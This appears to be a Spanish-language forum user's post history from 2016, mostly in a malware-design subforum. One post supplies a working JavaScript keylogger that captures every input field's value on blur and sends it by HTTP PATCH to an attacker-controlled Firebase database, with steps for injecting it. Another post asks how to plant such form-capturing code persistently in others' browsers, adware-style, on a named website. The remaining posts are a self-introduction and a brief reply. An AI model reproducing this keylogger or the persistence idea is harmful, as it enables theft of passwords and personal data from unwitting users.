|
Mostrar Mensajes
|
Páginas: [1]
|
1
|
Seguridad Informática / Análisis y Diseño de Malware / Re: javascript Keylogger
|
en: 16 Diciembre 2016, 02:43 am
|
Sí, se ve más organizado así, tomaré nota para modificarlo. Por otro lado, aclaro que Firebase it's free hasta cierto punto, pero para éste ejercicio 100% recomendada El patch en éste caso funciona mejor que el post, pero podrías usar un post, aclarando lo del blur, probé con todos los otros eventos y para mi fue el que mejor funcionó Saludos y gracias por el feedback
|
|
|
2
|
Seguridad Informática / Análisis y Diseño de Malware / javascript Keylogger
|
en: 15 Diciembre 2016, 15:09 pm
|
Bueno, básicamente les voy a dejar un código que desarrollé, muy simple de hecho, igual les voy a explicar cómo usarlo, si bien es cierto que se podría mejorar y mucho, así está hasta ahora, quizás siga trabajando en él, quizás no, pero les voy a compartir lo que va. "strict";
var input = document.querySelectorAll("input"); //Selecciona todos los imput del navegador
function saveLocal(e) { var url = "https://****.firebaseio.com/.json"; //Deben crear una base de datos en firebase y poner la URL acá var method = "PATCH"; //Metodo HTTP /*El e.srcElement trae el campo id="idEjemplo" y el this.value su valor el resultado sería algo como: tel: 30123021 */ var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }'; //XMLHttpRequest es un método usado en javascript para hacer peticiones HTTP como POST, GET, Etc, etc. var request = new XMLHttpRequest(); request.onload = function () {
/*Ya acá se pueden obtener muchos tipos de respuestá del HTTP, ésto no es parte del keylogger en sí Pero es útil si quieren ver info de la transacción en la consola */ var status = request.status; //respuesta del status HTTP, e.j., 200 for "200 OK" var data = request.responseText; // Datos que retorna, e.j., un documento HTML o un JSON. console.log(status); console.log(data); } //El onload es un evento que se lanza cuando la petición se carga //Abre la petición, especifica el método, envía la URL y el false es para indicar que es sincrona request.open(method, url, false); //Luego de que la petición está abierta envía la info, en éste caso el log de los inputs request.send(postData); }
for (var i = 0; i < input.length; i++) { //Añade a cada input un evento que escucha cuándo alquien sale de la casilla y llama a la función saveLocal input[i].addEventListener("blur", saveLocal); }//Loop por cada item en input Necesitarán una URL de una base de datos, la crean acá http://firebase.google.comPara inyectar el código lo único que tienen que hacer es abrir la consola "click derecho inspeccionar elemento de ahí en la tab de consola, en el navegador", copiar y pegar el código ya con su URL, cierran la consola y ya está, si cierran la página se pierden los cambios, si refrescan también. Espero les guste. SaluDDOS
|
|
|
5
|
Programación / Desarrollo Web / Re: Cómo anclar un código a un navegador?
|
en: 25 Noviembre 2016, 20:17 pm
|
No, no me refiero a publicidad pagada, tampoco intento hacerlo en mi propio navegador una sola vez... Creo que no me supe explicar Alguna vez han instalado un programa, siguiente, siguiente, siguiente y luego te queda en el navegador una cochina barra y anuncios popup al azar que saltan diciendo que eres el ganador de un iPad?... Me refiero a modificar el navegador para que en una página por decir "chaturbate.es" se pueda ejecutar mi script
|
|
|
6
|
Foros Generales / Foro Libre / Re: Me presento
|
en: 25 Noviembre 2016, 14:08 pm
|
Pues como al 99% de los hombres Bienvenido al foro ike array, gracias por tu sinceridad Jajajaja, sí, es cierto, gracias por la bienvenida
|
|
|
7
|
Programación / Desarrollo Web / Cómo anclar un código a un navegador?
|
en: 25 Noviembre 2016, 13:54 pm
|
Sé que es posible modificar instancias de Chrome por ejemplo, la pregunta en realidad es porque tengo algo de curiosidad de saber cómo funcionan esos virusecillos que te levantan popups de publicidad (o mujerzuelas que quieren conocerte), la idea es anclar el siguiente código en JS var input = document.querySelectorAll("input");
for(var i = 0; i < input.length; i++){ input[i].addEventListener("change", function (e) { localStorage.setItem(e.srcElement.id, this.value); //Guarda en el localStorage el id del input y el valor del campo }); //Añade un eventListener a cada input }//Por cada elemento en los inputs
Gracias de antemano y saluDoS
|
|
|
8
|
Foros Generales / Foro Libre / Me presento
|
en: 25 Noviembre 2016, 13:43 pm
|
Buenas buenas, me presento (acá porque no encontré un subforo adecuado, en serio lo busqué y dice que está fuera de mi alcance :v).
En fin soy un programador empírico, vengo de CPH que está más muerto que mi vida sexual, tengo algo de conocimientos en PHP, javascript, AngularJS, Ionic, firebase, PGSQL, MySQL, consola de IBM incluida AS/400 y iSeries, etc, etc, etc
Me gusta el porno, el vicio, el dinero y soy curioso a la hora de programar, no siendo más, espero que este foro sí sea activo. Saludos a toda la banda
|
|
|
|
|
|
|